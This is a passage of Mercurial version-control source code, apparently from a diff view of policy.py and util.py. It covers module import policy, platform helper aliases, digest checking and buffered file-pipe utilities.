76 _modredirects = {
76 _modredirects = {
77 (r'cext', r'charencode'): (r'cext', r'parsers'),
77 (r'cext', r'charencode'): (r'cext', r'parsers'),
78 (r'cffi', r'base85'): (r'pure', r'base85'),
78 (r'cffi', r'base85'): (r'pure', r'base85'),
79 (r'cffi', r'charencode'): (r'pure', r'charencode'),
79 (r'cffi', r'charencode'): (r'pure', r'charencode'),
80 (r'cffi', r'parsers'): (r'pure', r'parsers'),
80 (r'cffi', r'parsers'): (r'pure', r'parsers'),
81 }
81 }
82
82
83 def _checkmod(pkgname, modname, mod):
83 def _checkmod(pkgname, modname, mod):
84 expected = _cextversions.get((pkgname, modname))
84 expected = _cextversions.get((pkgname, modname))
85 actual = getattr(mod, r'version', None)
85 actual = getattr(mod, r'version', None)
86 if actual != expected:
86 if actual != expected:
87 raise ImportError(r'cannot import module %s.%s '
87 raise ImportError(r'cannot import module %s.%s '
88 r'(expected version: %d, actual: %r)'
88 r'(expected version: %d, actual: %r)'
89 % (pkgname, modname, expected, actual))
89 % (pkgname, modname, expected, actual))
90
90
91 def importmod(modname):
91 def importmod(modname):
92 """Import module according to policy and check API version"""
92 """Import module according to policy and check API version"""
93 try:
93 try:
94 verpkg, purepkg = _packageprefs[policy]
94 verpkg, purepkg = _packageprefs[policy]
95 except KeyError:
95 except KeyError:
96 raise ImportError(r'invalid HGMODULEPOLICY %r' % policy)
96 raise ImportError(r'invalid HGMODULEPOLICY %r' % policy)
97 assert verpkg or purepkg
97 assert verpkg or purepkg
98 if verpkg:
98 if verpkg:
99 pn, mn = _modredirects.get((verpkg, modname), (verpkg, modname))
99 pn, mn = _modredirects.get((verpkg, modname), (verpkg, modname))
100 try:
100 try:
101 mod = _importfrom(pn, mn)
101 mod = _importfrom(pn, mn)
102 if pn == verpkg:
102 if pn == verpkg:
103 _checkmod(pn, mn, mod)
103 _checkmod(pn, mn, mod)
104 return mod
104 return mod
105 except ImportError:
105 except ImportError:
106 if not purepkg:
106 if not purepkg:
107 raise
107 raise
108 pn, mn = _modredirects.get((purepkg, modname), (purepkg, modname))
108 pn, mn = _modredirects.get((purepkg, modname), (purepkg, modname))
109 return _importfrom(pn, mn)
109 return _importfrom(pn, mn)
@@ -1,3317 +1,3318
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import mmap
25 import mmap
26 import os
26 import os
27 import platform as pyplatform
27 import platform as pyplatform
28 import re as remod
28 import re as remod
29 import shutil
29 import shutil
30 import socket
30 import socket
31 import stat
31 import stat
32 import sys
32 import sys
33 import time
33 import time
34 import traceback
34 import traceback
35 import warnings
35 import warnings
36
36
37 from .thirdparty import (
37 from .thirdparty import (
38 attr,
38 attr,
39 )
39 )
40 from hgdemandimport import tracing
40 from hgdemandimport import tracing
41 from . import (
41 from . import (
42 encoding,
42 encoding,
43 error,
43 error,
44 i18n,
44 i18n,
45 node as nodemod,
45 node as nodemod,
46 policy,
46 policy,
47 pycompat,
47 pycompat,
48 urllibcompat,
48 urllibcompat,
49 )
49 )
50 from .utils import (
50 from .utils import (
51 compression,
51 compression,
52 procutil,
52 procutil,
53 stringutil,
53 stringutil,
54 )
54 )
55
55
56 base85 = policy.importmod(r'base85')
56 base85 = policy.importmod(r'base85')
57 osutil = policy.importmod(r'osutil')
57 osutil = policy.importmod(r'osutil')
58 parsers = policy.importmod(r'parsers')
58 parsers = policy.importmod(r'parsers')
59
59
60 b85decode = base85.b85decode
60 b85decode = base85.b85decode
61 b85encode = base85.b85encode
61 b85encode = base85.b85encode
62
62
63 cookielib = pycompat.cookielib
63 cookielib = pycompat.cookielib
64 httplib = pycompat.httplib
64 httplib = pycompat.httplib
65 pickle = pycompat.pickle
65 pickle = pycompat.pickle
66 safehasattr = pycompat.safehasattr
66 safehasattr = pycompat.safehasattr
67 socketserver = pycompat.socketserver
67 socketserver = pycompat.socketserver
68 bytesio = pycompat.bytesio
68 bytesio = pycompat.bytesio
69 # TODO deprecate stringio name, as it is a lie on Python 3.
69 # TODO deprecate stringio name, as it is a lie on Python 3.
70 stringio = bytesio
70 stringio = bytesio
71 xmlrpclib = pycompat.xmlrpclib
71 xmlrpclib = pycompat.xmlrpclib
72
72
73 httpserver = urllibcompat.httpserver
73 httpserver = urllibcompat.httpserver
74 urlerr = urllibcompat.urlerr
74 urlerr = urllibcompat.urlerr
75 urlreq = urllibcompat.urlreq
75 urlreq = urllibcompat.urlreq
76
76
77 # workaround for win32mbcs
77 # workaround for win32mbcs
78 _filenamebytestr = pycompat.bytestr
78 _filenamebytestr = pycompat.bytestr
79
79
80 if pycompat.iswindows:
80 if pycompat.iswindows:
81 from . import windows as platform
81 from . import windows as platform
82 else:
82 else:
83 from . import posix as platform
83 from . import posix as platform
84
84
85 _ = i18n._
85 _ = i18n._
86
86
87 bindunixsocket = platform.bindunixsocket
87 bindunixsocket = platform.bindunixsocket
88 cachestat = platform.cachestat
88 cachestat = platform.cachestat
89 checkexec = platform.checkexec
89 checkexec = platform.checkexec
90 checklink = platform.checklink
90 checklink = platform.checklink
91 copymode = platform.copymode
91 copymode = platform.copymode
92 expandglobs = platform.expandglobs
92 expandglobs = platform.expandglobs
93 getfsmountpoint = platform.getfsmountpoint
93 getfsmountpoint = platform.getfsmountpoint
94 getfstype = platform.getfstype
94 getfstype = platform.getfstype
95 groupmembers = platform.groupmembers
95 groupmembers = platform.groupmembers
96 groupname = platform.groupname
96 groupname = platform.groupname
97 isexec = platform.isexec
97 isexec = platform.isexec
98 isowner = platform.isowner
98 isowner = platform.isowner
99 listdir = osutil.listdir
99 listdir = osutil.listdir
100 localpath = platform.localpath
100 localpath = platform.localpath
101 lookupreg = platform.lookupreg
101 lookupreg = platform.lookupreg
102 makedir = platform.makedir
102 makedir = platform.makedir
103 nlinks = platform.nlinks
103 nlinks = platform.nlinks
104 normpath = platform.normpath
104 normpath = platform.normpath
105 normcase = platform.normcase
105 normcase = platform.normcase
106 normcasespec = platform.normcasespec
106 normcasespec = platform.normcasespec
107 normcasefallback = platform.normcasefallback
107 normcasefallback = platform.normcasefallback
108 openhardlinks = platform.openhardlinks
108 openhardlinks = platform.openhardlinks
109 oslink = platform.oslink
109 oslink = platform.oslink
110 parsepatchoutput = platform.parsepatchoutput
110 parsepatchoutput = platform.parsepatchoutput
111 pconvert = platform.pconvert
111 pconvert = platform.pconvert
112 poll = platform.poll
112 poll = platform.poll
113 posixfile = platform.posixfile
113 posixfile = platform.posixfile
114 readlink = platform.readlink
114 readlink = platform.readlink
115 rename = platform.rename
115 rename = platform.rename
116 removedirs = platform.removedirs
116 removedirs = platform.removedirs
117 samedevice = platform.samedevice
117 samedevice = platform.samedevice
118 samefile = platform.samefile
118 samefile = platform.samefile
119 samestat = platform.samestat
119 samestat = platform.samestat
120 setflags = platform.setflags
120 setflags = platform.setflags
121 split = platform.split
121 split = platform.split
122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
123 statisexec = platform.statisexec
123 statisexec = platform.statisexec
124 statislink = platform.statislink
124 statislink = platform.statislink
125 umask = platform.umask
125 umask = platform.umask
126 unlink = platform.unlink
126 unlink = platform.unlink
127 username = platform.username
127 username = platform.username
128
128
129 # small compat layer
129 # small compat layer
130 compengines = compression.compengines
130 compengines = compression.compengines
131 SERVERROLE = compression.SERVERROLE
131 SERVERROLE = compression.SERVERROLE
132 CLIENTROLE = compression.CLIENTROLE
132 CLIENTROLE = compression.CLIENTROLE
133
133
134 try:
134 try:
135 recvfds = osutil.recvfds
135 recvfds = osutil.recvfds
136 except AttributeError:
136 except AttributeError:
137 pass
137 pass
138
138
139 # Python compatibility
139 # Python compatibility
140
140
141 _notset = object()
141 _notset = object()
142
142
143 def bitsfrom(container):
143 def bitsfrom(container):
144 bits = 0
144 bits = 0
145 for bit in container:
145 for bit in container:
146 bits |= bit
146 bits |= bit
147 return bits
147 return bits
148
148
149 # python 2.6 still have deprecation warning enabled by default. We do not want
149 # python 2.6 still have deprecation warning enabled by default. We do not want
150 # to display anything to standard user so detect if we are running test and
150 # to display anything to standard user so detect if we are running test and
151 # only use python deprecation warning in this case.
151 # only use python deprecation warning in this case.
152 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
152 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
153 if _dowarn:
153 if _dowarn:
154 # explicitly unfilter our warning for python 2.7
154 # explicitly unfilter our warning for python 2.7
155 #
155 #
156 # The option of setting PYTHONWARNINGS in the test runner was investigated.
156 # The option of setting PYTHONWARNINGS in the test runner was investigated.
157 # However, module name set through PYTHONWARNINGS was exactly matched, so
157 # However, module name set through PYTHONWARNINGS was exactly matched, so
158 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
158 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
159 # makes the whole PYTHONWARNINGS thing useless for our usecase.
159 # makes the whole PYTHONWARNINGS thing useless for our usecase.
160 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
160 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
161 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
161 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
162 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
162 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
163 if _dowarn and pycompat.ispy3:
163 if _dowarn and pycompat.ispy3:
164 # silence warning emitted by passing user string to re.sub()
164 # silence warning emitted by passing user string to re.sub()
165 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
165 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
166 r'mercurial')
166 r'mercurial')
167 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
167 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
168 DeprecationWarning, r'mercurial')
168 DeprecationWarning, r'mercurial')
169 # TODO: reinvent imp.is_frozen()
169 # TODO: reinvent imp.is_frozen()
170 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
170 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
171 DeprecationWarning, r'mercurial')
171 DeprecationWarning, r'mercurial')
172
172
173 def nouideprecwarn(msg, version, stacklevel=1):
173 def nouideprecwarn(msg, version, stacklevel=1):
174 """Issue an python native deprecation warning
174 """Issue an python native deprecation warning
175
175
176 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
176 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
177 """
177 """
178 if _dowarn:
178 if _dowarn:
179 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
179 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
180 " update your code.)") % version
180 " update your code.)") % version
181 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
181 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
182
182
183 DIGESTS = {
183 DIGESTS = {
184 'md5': hashlib.md5,
184 'md5': hashlib.md5,
185 'sha1': hashlib.sha1,
185 'sha1': hashlib.sha1,
186 'sha512': hashlib.sha512,
186 'sha512': hashlib.sha512,
187 }
187 }
188 # List of digest types from strongest to weakest
188 # List of digest types from strongest to weakest
189 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
189 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
190
190
191 for k in DIGESTS_BY_STRENGTH:
191 for k in DIGESTS_BY_STRENGTH:
192 assert k in DIGESTS
192 assert k in DIGESTS
193
193
194 class digester(object):
194 class digester(object):
195 """helper to compute digests.
195 """helper to compute digests.
196
196
197 This helper can be used to compute one or more digests given their name.
197 This helper can be used to compute one or more digests given their name.
198
198
199 >>> d = digester([b'md5', b'sha1'])
199 >>> d = digester([b'md5', b'sha1'])
200 >>> d.update(b'foo')
200 >>> d.update(b'foo')
201 >>> [k for k in sorted(d)]
201 >>> [k for k in sorted(d)]
202 ['md5', 'sha1']
202 ['md5', 'sha1']
203 >>> d[b'md5']
203 >>> d[b'md5']
204 'acbd18db4cc2f85cedef654fccc4a4d8'
204 'acbd18db4cc2f85cedef654fccc4a4d8'
205 >>> d[b'sha1']
205 >>> d[b'sha1']
206 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
206 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
207 >>> digester.preferred([b'md5', b'sha1'])
207 >>> digester.preferred([b'md5', b'sha1'])
208 'sha1'
208 'sha1'
209 """
209 """
210
210
211 def __init__(self, digests, s=''):
211 def __init__(self, digests, s=''):
212 self._hashes = {}
212 self._hashes = {}
213 for k in digests:
213 for k in digests:
214 if k not in DIGESTS:
214 if k not in DIGESTS:
215 raise error.Abort(_('unknown digest type: %s') % k)
215 raise error.Abort(_('unknown digest type: %s') % k)
216 self._hashes[k] = DIGESTS[k]()
216 self._hashes[k] = DIGESTS[k]()
217 if s:
217 if s:
218 self.update(s)
218 self.update(s)
219
219
220 def update(self, data):
220 def update(self, data):
221 for h in self._hashes.values():
221 for h in self._hashes.values():
222 h.update(data)
222 h.update(data)
223
223
224 def __getitem__(self, key):
224 def __getitem__(self, key):
225 if key not in DIGESTS:
225 if key not in DIGESTS:
226 raise error.Abort(_('unknown digest type: %s') % k)
226 raise error.Abort(_('unknown digest type: %s') % k)
227 return nodemod.hex(self._hashes[key].digest())
227 return nodemod.hex(self._hashes[key].digest())
228
228
229 def __iter__(self):
229 def __iter__(self):
230 return iter(self._hashes)
230 return iter(self._hashes)
231
231
232 @staticmethod
232 @staticmethod
233 def preferred(supported):
233 def preferred(supported):
234 """returns the strongest digest type in both supported and DIGESTS."""
234 """returns the strongest digest type in both supported and DIGESTS."""
235
235
236 for k in DIGESTS_BY_STRENGTH:
236 for k in DIGESTS_BY_STRENGTH:
237 if k in supported:
237 if k in supported:
238 return k
238 return k
239 return None
239 return None
240
240
241 class digestchecker(object):
241 class digestchecker(object):
242 """file handle wrapper that additionally checks content against a given
242 """file handle wrapper that additionally checks content against a given
243 size and digests.
243 size and digests.
244
244
245 d = digestchecker(fh, size, {'md5': '...'})
245 d = digestchecker(fh, size, {'md5': '...'})
246
246
247 When multiple digests are given, all of them are validated.
247 When multiple digests are given, all of them are validated.
248 """
248 """
249
249
250 def __init__(self, fh, size, digests):
250 def __init__(self, fh, size, digests):
251 self._fh = fh
251 self._fh = fh
252 self._size = size
252 self._size = size
253 self._got = 0
253 self._got = 0
254 self._digests = dict(digests)
254 self._digests = dict(digests)
255 self._digester = digester(self._digests.keys())
255 self._digester = digester(self._digests.keys())
256
256
257 def read(self, length=-1):
257 def read(self, length=-1):
258 content = self._fh.read(length)
258 content = self._fh.read(length)
259 self._digester.update(content)
259 self._digester.update(content)
260 self._got += len(content)
260 self._got += len(content)
261 return content
261 return content
262
262
263 def validate(self):
263 def validate(self):
264 if self._size != self._got:
264 if self._size != self._got:
265 raise error.Abort(_('size mismatch: expected %d, got %d') %
265 raise error.Abort(_('size mismatch: expected %d, got %d') %
266 (self._size, self._got))
266 (self._size, self._got))
267 for k, v in self._digests.items():
267 for k, v in self._digests.items():
268 if v != self._digester[k]:
268 if v != self._digester[k]:
269 # i18n: first parameter is a digest name
269 # i18n: first parameter is a digest name
270 raise error.Abort(_('%s mismatch: expected %s, got %s') %
270 raise error.Abort(_('%s mismatch: expected %s, got %s') %
271 (k, v, self._digester[k]))
271 (k, v, self._digester[k]))
272
272
273 try:
273 try:
274 buffer = buffer
274 buffer = buffer
275 except NameError:
275 except NameError:
276 def buffer(sliceable, offset=0, length=None):
276 def buffer(sliceable, offset=0, length=None):
277 if length is not None:
277 if length is not None:
278 return memoryview(sliceable)[offset:offset + length]
278 return memoryview(sliceable)[offset:offset + length]
279 return memoryview(sliceable)[offset:]
279 return memoryview(sliceable)[offset:]
280
280
281 _chunksize = 4096
281 _chunksize = 4096
282
282
283 class bufferedinputpipe(object):
283 class bufferedinputpipe(object):
284 """a manually buffered input pipe
284 """a manually buffered input pipe
285
285
286 Python will not let us use buffered IO and lazy reading with 'polling' at
286 Python will not let us use buffered IO and lazy reading with 'polling' at
287 the same time. We cannot probe the buffer state and select will not detect
287 the same time. We cannot probe the buffer state and select will not detect
288 that data are ready to read if they are already buffered.
288 that data are ready to read if they are already buffered.
289
289
290 This class let us work around that by implementing its own buffering
290 This class let us work around that by implementing its own buffering
291 (allowing efficient readline) while offering a way to know if the buffer is
291 (allowing efficient readline) while offering a way to know if the buffer is
292 empty from the output (allowing collaboration of the buffer with polling).
292 empty from the output (allowing collaboration of the buffer with polling).
293
293
294 This class lives in the 'util' module because it makes use of the 'os'
294 This class lives in the 'util' module because it makes use of the 'os'
295 module from the python stdlib.
295 module from the python stdlib.
296 """
296 """
297 def __new__(cls, fh):
297 def __new__(cls, fh):
298 # If we receive a fileobjectproxy, we need to use a variation of this
298 # If we receive a fileobjectproxy, we need to use a variation of this
299 # class that notifies observers about activity.
299 # class that notifies observers about activity.
300 if isinstance(fh, fileobjectproxy):
300 if isinstance(fh, fileobjectproxy):
301 cls = observedbufferedinputpipe
301 cls = observedbufferedinputpipe
302
302
303 return super(bufferedinputpipe, cls).__new__(cls)
303 return super(bufferedinputpipe, cls).__new__(cls)
304
304
305 def __init__(self, input):
305 def __init__(self, input):
306 self._input = input
306 self._input = input
307 self._buffer = []
307 self._buffer = []
308 self._eof = False
308 self._eof = False
309 self._lenbuf = 0
309 self._lenbuf = 0
310
310
311 @property
311 @property
312 def hasbuffer(self):
312 def hasbuffer(self):
313 """True is any data is currently buffered
313 """True is any data is currently buffered
314
314
315 This will be used externally a pre-step for polling IO. If there is
315 This will be used externally a pre-step for polling IO. If there is
316 already data then no polling should be set in place."""
316 already data then no polling should be set in place."""
317 return bool(self._buffer)
317 return bool(self._buffer)
318
318
319 @property
319 @property
320 def closed(self):
320 def closed(self):
321 return self._input.closed
321 return self._input.closed
322
322
323 def fileno(self):
323 def fileno(self):
324 return self._input.fileno()
324 return self._input.fileno()
325
325
326 def close(self):
326 def close(self):
327 return self._input.close()
327 return self._input.close()
328
328
329 def read(self, size):
329 def read(self, size):
330 while (not self._eof) and (self._lenbuf < size):
330 while (not self._eof) and (self._lenbuf < size):
331 self._fillbuffer()
331 self._fillbuffer()
332 return self._frombuffer(size)
332 return self._frombuffer(size)
333
333
334 def unbufferedread(self, size):
334 def unbufferedread(self, size):
335 if not self._eof and self._lenbuf == 0:
335 if not self._eof and self._lenbuf == 0:
336 self._fillbuffer(max(size, _chunksize))
336 self._fillbuffer(max(size, _chunksize))
337 return self._frombuffer(min(self._lenbuf, size))
337 return self._frombuffer(min(self._lenbuf, size))
338
338
339 def readline(self, *args, **kwargs):
339 def readline(self, *args, **kwargs):
340 if len(self._buffer) > 1:
340 if len(self._buffer) > 1:
341 # this should not happen because both read and readline end with a
341 # this should not happen because both read and readline end with a
342 # _frombuffer call that collapse it.
342 # _frombuffer call that collapse it.
343 self._buffer = [''.join(self._buffer)]
343 self._buffer = [''.join(self._buffer)]
344 self._lenbuf = len(self._buffer[0])
344 self._lenbuf = len(self._buffer[0])
345 lfi = -1
345 lfi = -1
346 if self._buffer:
346 if self._buffer:
347 lfi = self._buffer[-1].find('\n')
347 lfi = self._buffer[-1].find('\n')
348 while (not self._eof) and lfi < 0:
348 while (not self._eof) and lfi < 0:
349 self._fillbuffer()
349 self._fillbuffer()
350 if self._buffer:
350 if self._buffer:
351 lfi = self._buffer[-1].find('\n')
351 lfi = self._buffer[-1].find('\n')
352 size = lfi + 1
352 size = lfi + 1
353 if lfi < 0: # end of file
353 if lfi < 0: # end of file
354 size = self._lenbuf
354 size = self._lenbuf
355 elif len(self._buffer) > 1:
355 elif len(self._buffer) > 1:
356 # we need to take previous chunks into account
356 # we need to take previous chunks into account
357 size += self._lenbuf - len(self._buffer[-1])
357 size += self._lenbuf - len(self._buffer[-1])
358 return self._frombuffer(size)
358 return self._frombuffer(size)
359
359
360 def _frombuffer(self, size):
360 def _frombuffer(self, size):
361 """return at most 'size' data from the buffer
361 """return at most 'size' data from the buffer
362
362
363 The data are removed from the buffer."""
363 The data are removed from the buffer."""
364 if size == 0 or not self._buffer:
364 if size == 0 or not self._buffer:
365 return ''
365 return ''
366 buf = self._buffer[0]
366 buf = self._buffer[0]
367 if len(self._buffer) > 1:
367 if len(self._buffer) > 1:
368 buf = ''.join(self._buffer)
368 buf = ''.join(self._buffer)
369
369
370 data = buf[:size]
370 data = buf[:size]
371 buf = buf[len(data):]
371 buf = buf[len(data):]
372 if buf:
372 if buf:
373 self._buffer = [buf]
373 self._buffer = [buf]
374 self._lenbuf = len(buf)
374 self._lenbuf = len(buf)
375 else:
375 else:
376 self._buffer = []
376 self._buffer = []
377 self._lenbuf = 0
377 self._lenbuf = 0
378 return data
378 return data
379
379
380 def _fillbuffer(self, size=_chunksize):
380 def _fillbuffer(self, size=_chunksize):
381 """read data to the buffer"""
381 """read data to the buffer"""
382 data = os.read(self._input.fileno(), size)
382 data = os.read(self._input.fileno(), size)
383 if not data:
383 if not data:
384 self._eof = True
384 self._eof = True
385 else:
385 else:
386 self._lenbuf += len(data)
386 self._lenbuf += len(data)
387 self._buffer.append(data)
387 self._buffer.append(data)
388
388
389 return data
389 return data
390
390
391 def mmapread(fp):
391 def mmapread(fp):
392 try:
392 try:
393 fd = getattr(fp, 'fileno', lambda: fp)()
393 fd = getattr(fp, 'fileno', lambda: fp)()
394 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
394 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
395 except ValueError:
395 except ValueError:
396 # Empty files cannot be mmapped, but mmapread should still work. Check
396 # Empty files cannot be mmapped, but mmapread should still work. Check
397 # if the file is empty, and if so, return an empty buffer.
397 # if the file is empty, and if so, return an empty buffer.
398 if os.fstat(fd).st_size == 0:
398 if os.fstat(fd).st_size == 0:
399 return ''
399 return ''
400 raise
400 raise
401
401
402 class fileobjectproxy(object):
402 class fileobjectproxy(object):
403 """A proxy around file objects that tells a watcher when events occur.
403 """A proxy around file objects that tells a watcher when events occur.
404
404
405 This type is intended to only be used for testing purposes. Think hard
405 This type is intended to only be used for testing purposes. Think hard
406 before using it in important code.
406 before using it in important code.
407 """
407 """
408 __slots__ = (
408 __slots__ = (
409 r'_orig',
409 r'_orig',
410 r'_observer',
410 r'_observer',
411 )
411 )
412
412
413 def __init__(self, fh, observer):
413 def __init__(self, fh, observer):
414 object.__setattr__(self, r'_orig', fh)
414 object.__setattr__(self, r'_orig', fh)
415 object.__setattr__(self, r'_observer', observer)
415 object.__setattr__(self, r'_observer', observer)
416
416
417 def __getattribute__(self, name):
417 def __getattribute__(self, name):
418 ours = {
418 ours = {
419 r'_observer',
419 r'_observer',
420
420
421 # IOBase
421 # IOBase
422 r'close',
422 r'close',
423 # closed if a property
423 # closed if a property
424 r'fileno',
424 r'fileno',
425 r'flush',
425 r'flush',
426 r'isatty',
426 r'isatty',
427 r'readable',
427 r'readable',
428 r'readline',
428 r'readline',
429 r'readlines',
429 r'readlines',
430 r'seek',
430 r'seek',
431 r'seekable',
431 r'seekable',
432 r'tell',
432 r'tell',
433 r'truncate',
433 r'truncate',
434 r'writable',
434 r'writable',
435 r'writelines',
435 r'writelines',
436 # RawIOBase
436 # RawIOBase
437 r'read',
437 r'read',
438 r'readall',
438 r'readall',
439 r'readinto',
439 r'readinto',
440 r'write',
440 r'write',
441 # BufferedIOBase
441 # BufferedIOBase
442 # raw is a property
442 # raw is a property
443 r'detach',
443 r'detach',
444 # read defined above
444 # read defined above
445 r'read1',
445 r'read1',
446 # readinto defined above
446 # readinto defined above
447 # write defined above
447 # write defined above
448 }
448 }
449
449
450 # We only observe some methods.
450 # We only observe some methods.
451 if name in ours:
451 if name in ours:
452 return object.__getattribute__(self, name)
452 return object.__getattribute__(self, name)
453
453
454 return getattr(object.__getattribute__(self, r'_orig'), name)
454 return getattr(object.__getattribute__(self, r'_orig'), name)
455
455
456 def __nonzero__(self):
456 def __nonzero__(self):
457 return bool(object.__getattribute__(self, r'_orig'))
457 return bool(object.__getattribute__(self, r'_orig'))
458
458
459 __bool__ = __nonzero__
459 __bool__ = __nonzero__
460
460
461 def __delattr__(self, name):
461 def __delattr__(self, name):
462 return delattr(object.__getattribute__(self, r'_orig'), name)
462 return delattr(object.__getattribute__(self, r'_orig'), name)
463
463
464 def __setattr__(self, name, value):
464 def __setattr__(self, name, value):
465 return setattr(object.__getattribute__(self, r'_orig'), name, value)
465 return setattr(object.__getattribute__(self, r'_orig'), name, value)
466
466
467 def __iter__(self):
467 def __iter__(self):
468 return object.__getattribute__(self, r'_orig').__iter__()
468 return object.__getattribute__(self, r'_orig').__iter__()
469
469
470 def _observedcall(self, name, *args, **kwargs):
470 def _observedcall(self, name, *args, **kwargs):
471 # Call the original object.
471 # Call the original object.
472 orig = object.__getattribute__(self, r'_orig')
472 orig = object.__getattribute__(self, r'_orig')
473 res = getattr(orig, name)(*args, **kwargs)
473 res = getattr(orig, name)(*args, **kwargs)
474
474
475 # Call a method on the observer of the same name with arguments
475 # Call a method on the observer of the same name with arguments
476 # so it can react, log, etc.
476 # so it can react, log, etc.
477 observer = object.__getattribute__(self, r'_observer')
477 observer = object.__getattribute__(self, r'_observer')
478 fn = getattr(observer, name, None)
478 fn = getattr(observer, name, None)
479 if fn:
479 if fn:
480 fn(res, *args, **kwargs)
480 fn(res, *args, **kwargs)
481
481
482 return res
482 return res
483
483
484 def close(self, *args, **kwargs):
484 def close(self, *args, **kwargs):
485 return object.__getattribute__(self, r'_observedcall')(
485 return object.__getattribute__(self, r'_observedcall')(
486 r'close', *args, **kwargs)
486 r'close', *args, **kwargs)
487
487
488 def fileno(self, *args, **kwargs):
488 def fileno(self, *args, **kwargs):
489 return object.__getattribute__(self, r'_observedcall')(
489 return object.__getattribute__(self, r'_observedcall')(
490 r'fileno', *args, **kwargs)
490 r'fileno', *args, **kwargs)
491
491
492 def flush(self, *args, **kwargs):
492 def flush(self, *args, **kwargs):
493 return object.__getattribute__(self, r'_observedcall')(
493 return object.__getattribute__(self, r'_observedcall')(
494 r'flush', *args, **kwargs)
494 r'flush', *args, **kwargs)
495
495
496 def isatty(self, *args, **kwargs):
496 def isatty(self, *args, **kwargs):
497 return object.__getattribute__(self, r'_observedcall')(
497 return object.__getattribute__(self, r'_observedcall')(
498 r'isatty', *args, **kwargs)
498 r'isatty', *args, **kwargs)
499
499
500 def readable(self, *args, **kwargs):
500 def readable(self, *args, **kwargs):
501 return object.__getattribute__(self, r'_observedcall')(
501 return object.__getattribute__(self, r'_observedcall')(
502 r'readable', *args, **kwargs)
502 r'readable', *args, **kwargs)
503
503
504 def readline(self, *args, **kwargs):
504 def readline(self, *args, **kwargs):
505 return object.__getattribute__(self, r'_observedcall')(
505 return object.__getattribute__(self, r'_observedcall')(
506 r'readline', *args, **kwargs)
506 r'readline', *args, **kwargs)
507
507
508 def readlines(self, *args, **kwargs):
508 def readlines(self, *args, **kwargs):
509 return object.__getattribute__(self, r'_observedcall')(
509 return object.__getattribute__(self, r'_observedcall')(
510 r'readlines', *args, **kwargs)
510 r'readlines', *args, **kwargs)
511
511
512 def seek(self, *args, **kwargs):
512 def seek(self, *args, **kwargs):
513 return object.__getattribute__(self, r'_observedcall')(
513 return object.__getattribute__(self, r'_observedcall')(
514 r'seek', *args, **kwargs)
514 r'seek', *args, **kwargs)
515
515
516 def seekable(self, *args, **kwargs):
516 def seekable(self, *args, **kwargs):
517 return object.__getattribute__(self, r'_observedcall')(
517 return object.__getattribute__(self, r'_observedcall')(
518 r'seekable', *args, **kwargs)
518 r'seekable', *args, **kwargs)
519
519
520 def tell(self, *args, **kwargs):
520 def tell(self, *args, **kwargs):
521 return object.__getattribute__(self, r'_observedcall')(
521 return object.__getattribute__(self, r'_observedcall')(
522 r'tell', *args, **kwargs)
522 r'tell', *args, **kwargs)
523
523
524 def truncate(self, *args, **kwargs):
524 def truncate(self, *args, **kwargs):
525 return object.__getattribute__(self, r'_observedcall')(
525 return object.__getattribute__(self, r'_observedcall')(
526 r'truncate', *args, **kwargs)
526 r'truncate', *args, **kwargs)
527
527
528 def writable(self, *args, **kwargs):
528 def writable(self, *args, **kwargs):
529 return object.__getattribute__(self, r'_observedcall')(
529 return object.__getattribute__(self, r'_observedcall')(
530 r'writable', *args, **kwargs)
530 r'writable', *args, **kwargs)
531
531
532 def writelines(self, *args, **kwargs):
532 def writelines(self, *args, **kwargs):
533 return object.__getattribute__(self, r'_observedcall')(
533 return object.__getattribute__(self, r'_observedcall')(
